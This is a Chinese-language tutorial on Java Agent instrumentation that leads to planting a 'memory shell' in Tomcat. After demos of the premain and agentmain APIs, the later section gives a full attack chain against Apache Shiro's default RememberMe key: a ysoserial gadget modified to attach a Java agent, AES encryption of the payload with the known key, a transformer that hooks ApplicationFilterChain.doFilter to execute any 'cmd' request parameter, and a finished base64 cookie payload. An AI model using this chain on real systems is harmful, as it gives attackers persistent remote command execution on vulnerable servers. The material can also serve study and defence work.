JAVA安全之Java Agent打內存馬

基本介紹

Java Agent是一種特殊的Java程序,它允許開發者在Java虛擬機(JVM)啟動時或運行期間通過java.lang.instrument包提供的Java標準接口進行代碼插樁,從而實現在Java應用程序類加載和運行期間動態修改已加載或者未加載的類,包括類的屬性、方法等,而Java Agent內存馬的實現便是利用了這一特性使其動態修改特定類的特定方法將我們的惡意方法添加進去

接口介紹

(1) java.lang.instrument.Instrumentation
java.lang.instrument.Instrumentation提供了用于監測運行在JVM中的Java API

關鍵方法接口如下所示:

  • void addTransformer(ClassFileTransformer transformer, boolean canRetransform):增加一個Class文件的轉換器,轉換器用于改變Class二進制流的數據,參數canRetransform設置是否允許重新轉換
  • void addTransformer(ClassFileTransformer transformer):這個和addTransformer(transformer, false)相同
  • boolean removeTransformer(ClassFileTransformer transformer):刪除一個類轉換器
  • void retransformClasses(Class<?>... classes) throws UnmodifiableClassException:在類加載之后重新定義Class
  • boolean isModifiableClass(Class<?> theClass):判斷一個類是否被修改
  • Class[] getAllLoadedClasses():獲取目標已經加載的類
  • void redefineClasses(ClassDefinition... definitions) throws ClassNotFoundException, UnmodifiableClassException:重新定義已經加載類的字節碼

(2) ClassFileTransformer

ClassFileTransformer是一個轉換類文件代理接口,我們可以在獲取到Instrumentation對象后通過addTransformer方法添加自定義類文件轉換器,這個接口下的Transform方法可以對未加載的類進行攔截,同時可對已加載的類進行重新攔截,所以實現動態加載字節碼的關鍵就是這個接口下的Transform方法

源代碼如下所示:

public interface ClassFileTransformer {byte[] transform(  ClassLoader         loader,String              className,Class<?>            classBeingRedefined,ProtectionDomain    protectionDomain,byte[]              classfileBuffer)throws IllegalClassFormatException;
}

(3) VirtualMachine類
com.sun.tools.attach.VirtualMachine類可以實現獲取JVM信息,內存dump、線程dump、類信息統計(例如:JVM加載的類)等功能,該類允許我們通過給attach方法傳入一個JVM的PID來遠程連接到該JVM上,隨后我們就可以對連接的JVM進行各種操作,比如:注入Agent

常用的方法主要有以下幾個:

  • attach():允許我們傳入一個JVM的PID,然后遠程連接到該JVM上
  • loadAgent():向JVM注冊一個代理程序agent,在該agent的代理程序中會得到一個Instrumentation實例,該實例可以在class加載前改變class的字節碼也可以在class加載后重新加載,在調用Instrumentation實例的方法時這些方法會使用ClassFileTransformer接口中提供的方法進行處理
  • list():獲得當前所有的JVM列表
  • detach():解除與特定JVM的連接

備注:改方法位于jdk/lib/tool.jar中,項目中使用時需要從lib中導入才行

(4) VirtualMachineDescriptor類
com.sun.tools.attach.VirtualMachineDescriptor類是一個用來描述特定虛擬機的類,其方法可以獲取虛擬機的各種信息,例如:PID、虛擬機名稱等

運行方式

正常情況下JAVA Agent在JVM中有兩種加載形式:

  • Agent_OnLoad:JAVA運行時通過-javaagent參數加載指定的agent
  • Agent_OnAttach:通過VM.attach方法向指定的java進程中注入agent

實現方式

Java Agent的實現方式大致可以分為兩種,第一種是在JVM啟動前加載的premain-Agent,另外一種是JVM啟動之后加載的agentmain-Agent,兩者的主要差異如下圖所示:

實現演示

Premain-Agent

方法介紹

premain方法是一個特殊的靜態方法,它允許開發者在應用程序的主方法(main)執行之前進行一些初始化和配置操作

方法格式

public static void premain(String agentArgs, Instrumentation inst)

參數說明

  • agentArgs::String類型,啟動Java Agent時傳遞的參數字符串,開發者可以在此傳遞特定的配置選項或指令以便在代理初始化時進行相應的處理
  • inst:Instrumentation類型,這是一個Instrumentation對象,它提供了與JVM的交互能力,使用這個對象開發者可以注冊字節碼轉換器、獲取已加載類的信息、獲取對象大小等

簡易示例

Step 1:首先使用IDEA創建一個Maven項目并編寫測試的代碼

package org.example;import java.lang.instrument.Instrumentation;public class premainAgent {public static void premain(String args, Instrumentation inst) {for (int i =0 ; i<100 ; i++){System.out.println("Call premain-Agent!");}}
}

Step 2:隨后創建一個MANIFEST.MF清單文件指定premain-Agent的啟動類

Manifest-Version: 1.0
Premain-Class: org.example.premainAgent

Step 3:打包為一個Jar包

隨后完成打包:

Step 4:新建一個maven項目并創建一個新的測試類

package org.example;public class CallTest {public static void main(String[] args) {System.out.println("Call Main Function");}
}

Step 6:隨后在IDEA中添加JVM Options

-javaagent:"C:\Users\RedTeam\Desktop\PremainAgenDemo\out\artifacts\PremainAgenDemo_jar/PremainAgenDemo.jar"

Step 7:隨后運行項目如下所示,可以看到這里在我們的Main程序正常運行之前執行了premain-Agent

Agentmain-Agent

方法介紹

Agentmain方法是Java Agent的一個重要組成部分,它允許開發者在應用程序啟動后向其注入代碼

方法格式

public static void agentmain(String agentArgs, Instrumentation inst) {// 方法體
}

參數說明

  • agentArgs (String):用于接收傳遞給代理的字符串形式的參數,在啟動或附加代理時可以通過-javaagent選項來傳遞這些參數,可以包含多個參數,通常以逗號分隔
  • inst (Instrumentation):這是一個Instrumentation對象,提供了對Java虛擬機(JVM)的控制能力,可以用它來動態修改類的字節碼、獲取正在運行的類信息等

簡易示例

Step 1:編寫一個Sleep_Hello類來模擬正在運行的JVM

package com.al1ex;
import static java.lang.Thread.sleep;public class Sleep_Hello {public static void main(String[] args) throws InterruptedException {while (true){System.out.println("Hello World!");sleep(5000);}}
}

Step 2:編寫agentmain-Agent類

import java.lang.instrument.Instrumentation;import static java.lang.Thread.sleep;public class Java_Agent {public static void agentmain(String args, Instrumentation inst) throws InterruptedException {while (true){System.out.println("調用了agentmain-Agent!");sleep(3000);}}
}

編寫MANIFEST.MF

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: Java_Agent

隨后編譯打包為jar包

Step 3:編寫一個Inject_Agent類,獲取特定JVM的PID并注入Agent

package com.al1ex;import java.io.IOException;
import com.sun.tools.attach.*;
import java.util.List;public class Inject_Agent {public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {List<VirtualMachineDescriptor> list = VirtualMachine.list();for(VirtualMachineDescriptor vmd : list){if(vmd.displayName().equals("com.al1ex.Sleep_Hello")){VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());//加載Agent virtualMachine.loadAgent("C:\\Users\\RedTeam\\Desktop\\AgentmainDemo\\out\\artifacts\\AgentmainDemo_jar\\AgentmainDemo.jar");virtualMachine.detach();}}}
}

改字節碼

Step 1:編寫一個目標類

package com.al1ex;
import static java.lang.Thread.sleep;public class Sleep_Hello {public static void main(String[] args) throws InterruptedException {while (true){hello();sleep(3000);}}public static void hello(){System.out.println("Hello World!");}
}

Step 2:編寫一個agentmain-Agent——Java_Agent.java

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;public class Java_Agent {public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {Class[] classes = inst.getAllLoadedClasses();//獲取目標JVM加載的全部類for (Class cls : classes) {if (cls.getName().equals("com.al1ex.Sleep_Hello")) {//添加一個transformer到Instrumentation,并重新觸發目標類加載inst.addTransformer(new Hello_Transform(), true);inst.retransformClasses(cls);}}}
}

繼承ClassFileTransformer類編寫一個transformer來修改對應類的字節碼

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;public class Hello_Transform implements ClassFileTransformer {@Overridepublic byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {try {//獲取CtClass 對象的容器 ClassPoolClassPool classPool = ClassPool.getDefault();//添加額外的類搜索路徑if (classBeingRedefined != null) {ClassClassPath ccp = new ClassClassPath(classBeingRedefined);classPool.insertClassPath(ccp);}//獲取目標類CtClass ctClass = classPool.get("com.al1ex.Sleep_Hello");//獲取目標方法CtMethod ctMethod = ctClass.getDeclaredMethod("hello");//設置方法體String body = "{System.out.println(\"Hacker!\");}";ctMethod.setBody(body);//返回目標類字節碼byte[] bytes = ctClass.toBytecode();return bytes;}catch (Exception e){e.printStackTrace();}return null;}
}

編寫MANIFEST.MF

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: Java_Agent

隨后將agentmain-Agent打為jar包,注意這里將tools和javassist依賴一并打包

Step 3:編寫一個Inject_Agent類用于將Agentmain注入到目標JVM

package com.al1ex;import java.io.IOException;
import com.sun.tools.attach.*;
import java.util.List;public class Inject_Agent {public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {List<VirtualMachineDescriptor> list = VirtualMachine.list();for(VirtualMachineDescriptor vmd : list){if(vmd.displayName().equals("com.al1ex.hello.Sleep_Hello")){VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());virtualMachine.loadAgent("C:\\Users\\RedTeam\\Desktop\\AgentmainDemo\\out\\artifacts\\AgentmainDemo_jar\\AgentmainDemo.jar");virtualMachine.detach();}}}
}

Step 4:運行目標類,然后再允許注入類(備注:在IDEA中運行時需要以管理員權限運行IDEA才行,否則沒有預期結果,筆者在這里卡了好久好久....,說多了都是淚......),成功更改目標類的方法內容中的代碼

打內存馬

下面我們通過Java Agent技術來修改一些JVM一定會調用并且Hook之后不會影響正常業務邏輯的的方法來實現內存馬:

環境構建

這里我們使用Shiro漏洞利用環境來作為演示環境,首先測試一波環境漏洞利用正常與否:
Step 1:使用Ysoerial來生成漏洞利用載荷:

java -jar ysoseriall.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser

隨后我們對上述的poc.ser進行base64編碼

package com.al1ex;import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;import java.nio.file.FileSystems;
import java.nio.file.Files;public class Base64Encode {public static void main(String[] args) throws Exception {byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath( "C:\\Users\\RedTeam\\Desktop\\ShiroSec\\poc.ser"));AesCipherService aes = new AesCipherService();byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));ByteSource ciphertext = aes.encrypt(payloads, key);System.out.printf(ciphertext.toString());}
}

隨后替換請求報文中的RememberMe后重新發送請求(引入Ysoserial作為依賴):

進入到容器查看執行結果:

打內存馬

第一階段:內存馬構造

首先構造AgentMain.jar文件

import java.lang.instrument.Instrumentation;public class MyAgent{public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";public static void agentmain(String args, Instrumentation inst) throws Exception {inst.addTransformer(new MyTransformer(), true);Class[] loadedClasses = inst.getAllLoadedClasses();for (int i = 0; i < loadedClasses.length; ++i) {Class clazz = loadedClasses[i];if (clazz.getName().equals(ClassName)) {try {inst.retransformClasses(new Class[]{clazz});} catch (Exception var9) {var9.printStackTrace();}}}}
}

定義Transformer:

import javassist.*;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;public class MyTransformer implements ClassFileTransformer {public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";public byte[] transform(ClassLoader loader, String className, Class<?> aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer) {className = className.replace('/', '.');if (className.equals(ClassName)) {ClassPool cp = ClassPool.getDefault();if (aClass != null) {ClassClassPath classPath = new ClassClassPath(aClass);cp.insertClassPath(classPath);}CtClass cc;try {cc = cp.get(className);CtMethod m = cc.getDeclaredMethod("doFilter");m.insertBefore(" javax.servlet.ServletRequest req = request;\n" +"            javax.servlet.ServletResponse res = response;" +"String cmd = req.getParameter(\"cmd\");\n" +"if (cmd != null) {\n" +"Process process = Runtime.getRuntime().exec(cmd);\n" +"java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n" +"new java.io.InputStreamReader(process.getInputStream()));\n" +"StringBuilder stringBuilder = new StringBuilder();\n" +"String line;\n" +"while ((line = bufferedReader.readLine()) != null) {\n" +"stringBuilder.append(line + '\\n');\n" +"}\n" +"res.getOutputStream().write(stringBuilder.toString().getBytes());\n" +"res.getOutputStream().flush();\n" +"res.getOutputStream().close();\n" +"}");byte[] byteCode = cc.toBytecode();cc.detach();return byteCode;} catch (NotFoundException | IOException | CannotCompileException e) {e.printStackTrace();}}return new byte[0];}
}

定義MF文件,生成jar

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: MyAgent

隨后打包成JAR包文件:

第二階段:利用鏈構造

在這里我們依賴于Ysoserial項目改造利用載荷

package ysoserial.payloads;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.Reflections;import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.Field;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;public class ShiroAgent {static {System.setProperty("jdk.xml.enableTemplatesImplDeserialization", "true");System.setProperty("java.rmi.server.useCodebaseOnly", "false");}public static Object createTemplatesImpl(String command) throws Exception {return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl(command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);}public static <T> T createTemplatesImpl(String agentPath, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {T templates = tplClass.newInstance();ClassPool pool = ClassPool.getDefault();pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));pool.insertClassPath(new ClassClassPath(abstTranslet));CtClass clazz = pool.get(StubTransletPayload.class.getName());String cmd = String.format("        try {\n" +"java.io.File toolsJar = new java.io.File(System.getProperty(\"java.home\").replaceFirst(\"jre\", \"lib\") + java.io.File.separator + \"tools.jar\");\n" +"java.net.URLClassLoader classLoader = (java.net.URLClassLoader) java.lang.ClassLoader.getSystemClassLoader();\n" +"java.lang.reflect.Method add = java.net.URLClassLoader.class.getDeclaredMethod(\"addURL\", new java.lang.Class[]{java.net.URL.class});\n" +"add.setAccessible(true);\n" +"            add.invoke(classLoader, new Object[]{toolsJar.toURI().toURL()});\n" +"Class/*<?>*/ MyVirtualMachine = classLoader.loadClass(\"com.sun.tools.attach.VirtualMachine\");\n" +"            Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass(\"com.sun.tools.attach.VirtualMachineDescriptor\");" +"java.lang.reflect.Method list = MyVirtualMachine.getDeclaredMethod(\"list\", null);\n" +"            java.util.List/*<Object>*/ invoke = (java.util.List/*<Object>*/) list.invoke(null, null);" +"for (int i = 0; i < invoke.size(); i++) {" +"Object o = invoke.get(i);\n" +"                java.lang.reflect.Method displayName = o.getClass().getSuperclass().getDeclaredMethod(\"displayName\", null);\n" +"                Object name = displayName.invoke(o, null);\n" +"if (name.toString().contains(\"org.apache.catalina.startup.Bootstrap\")) {" +"                    java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod(\"attach\", new Class[]{MyVirtualMachineDescriptor});\n" +"                    Object machine = attach.invoke(MyVirtualMachine, new Object[]{o});\n" +"                    java.lang.reflect.Method loadAgent = machine.getClass().getSuperclass().getSuperclass().getDeclaredMethod(\"loadAgent\", new Class[]{String.class});\n" +"                    loadAgent.invoke(machine, new Object[]{\"%s\"});\n" +"                    java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod(\"detach\", null);\n" +"                    detach.invoke(machine, null);\n" +"                    break;\n" +"}" +"}" +"} catch (Exception e) {\n" +"            e.printStackTrace();\n" +"}", agentPath.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\""));clazz.makeClassInitializer().insertAfter(cmd);clazz.setName("ysoserial.Pwner" + System.nanoTime());CtClass superC = pool.get(abstTranslet.getName());clazz.setSuperclass(superC);byte[] classBytes = clazz.toBytecode();Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, classAsBytes(Foo.class)});Reflections.setFieldValue(templates, "_name", "Pwnr");Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());return templates;}public static String classAsFile(Class<?> clazz) {return classAsFile(clazz, true);}public static String classAsFile(Class<?> clazz, boolean suffix) {String str;if (clazz.getEnclosingClass() == null) {str = clazz.getName().replace(".", "/");} else {str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();}if (suffix) {str = str + ".class";}return str;}// class轉byte[]public static byte[] classAsBytes(Class<?> clazz) {try {byte[] buffer = new byte[1024];String file = classAsFile(clazz);InputStream in = CommonsBeanutils1.class.getClassLoader().getResourceAsStream(file);if (in == null) {throw new IOException("couldn't find '" + file + "'");} else {ByteArrayOutputStream out = new ByteArrayOutputStream();int len;while ((len = in.read(buffer)) != -1) {out.write(buffer, 0, len);}return out.toByteArray();}} catch (IOException var6) {throw new RuntimeException(var6);}}public static void main(String[] args) throws Exception {// Agent路徑String command = "C:\\Users\\RedTeam\\Desktop\\AgentmainDemo\\out\\artifacts\\AgentmainDemo_jar\\AgentmainDemo.jar";Object templates = createTemplatesImpl(command);InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);Map innerMap = new HashMap();Map lazyMap = LazyMap.decorate(innerMap, transformer);TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);HashSet map = new HashSet(1);map.add("foo");Field f = null;try {f = HashSet.class.getDeclaredField("map");} catch (NoSuchFieldException var17) {f = HashSet.class.getDeclaredField("backingMap");}Reflections.setAccessible(f);HashMap innimpl = null;innimpl = (HashMap) f.get(map);Field f2 = null;try {f2 = HashMap.class.getDeclaredField("table");} catch (NoSuchFieldException var16) {f2 = HashMap.class.getDeclaredField("elementData");}Reflections.setAccessible(f2);Object[] array = new Object[0];array = (Object[]) ((Object[]) f2.get(innimpl));Object node = array[0];if (node == null) {node = array[1];}Field keyField = null;try {keyField = node.getClass().getDeclaredField("key");} catch (Exception var15) {keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");}Reflections.setAccessible(keyField);keyField.set(node, entry);Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");byte[] bytes = Serializables.serializeToBytes(map);String key = "kPH+bIxk5D2deZiIxcaaaA==";String rememberMe = EncryptUtil.shiroEncrypt(key, bytes);System.out.println(rememberMe);}public static class Foo implements Serializable {private static final long serialVersionUID = 8207363842866235160L;public Foo() {}}public static class StubTransletPayload extends AbstractTranslet implements Serializable {private static final long serialVersionUID = -5971610431559700674L;public StubTransletPayload() {}public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}}
}
class Serializables {public static byte[] serializeToBytes(final Object obj) throws Exception {final ByteArrayOutputStream out = new ByteArrayOutputStream();final ObjectOutputStream objOut = new ObjectOutputStream(out);objOut.writeObject(obj);objOut.flush();objOut.close();return out.toByteArray();}public static Object deserializeFromBytes(final byte[] serialized) throws Exception {final ByteArrayInputStream in = new ByteArrayInputStream(serialized);final ObjectInputStream objIn = new ObjectInputStream(in);return objIn.readObject();}public static void serializeToFile(String path, Object obj) throws Exception {FileOutputStream fos = new FileOutputStream("object");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(obj);os.close();}public static Object serializeFromFile(String path) throws Exception {FileInputStream fis = new FileInputStream(path);ObjectInputStream ois = new ObjectInputStream(fis);Object obj = ois.readObject();ois.close();return obj;}}class EncryptUtil {private static final String ENCRY_ALGORITHM = "AES";private static final String CIPHER_MODE = "AES/CBC/PKCS5Padding";private static final byte[] IV = "aaaaaaaaaaaaaaaa".getBytes();     public EncryptUtil() {}public static byte[] encrypt(byte[] clearTextBytes, byte[] pwdBytes) {try {SecretKeySpec keySpec = new SecretKeySpec(pwdBytes, ENCRY_ALGORITHM);Cipher cipher = Cipher.getInstance(CIPHER_MODE);IvParameterSpec iv = new IvParameterSpec(IV);cipher.init(1, keySpec, iv);byte[] cipherTextBytes = cipher.doFinal(clearTextBytes);return cipherTextBytes;} catch (NoSuchPaddingException var6) {var6.printStackTrace();} catch (NoSuchAlgorithmException var7) {var7.printStackTrace();} catch (BadPaddingException var8) {var8.printStackTrace();} catch (IllegalBlockSizeException var9) {var9.printStackTrace();} catch (InvalidKeyException var10) {var10.printStackTrace();} catch (Exception var11) {var11.printStackTrace();}return null;}public static String shiroEncrypt(String key, byte[] objectBytes) {byte[] pwd = Base64.decode(key);byte[] cipher = encrypt(objectBytes, pwd);assert cipher != null;byte[] output = new byte[pwd.length + cipher.length];byte[] iv = IV;System.arraycopy(iv, 0, output, 0, iv.length);System.arraycopy(cipher, 0, output, pwd.length, cipher.length);return Base64.encode(output);}
}

隨后運行程序生成載荷:

隨后打入內存馬:

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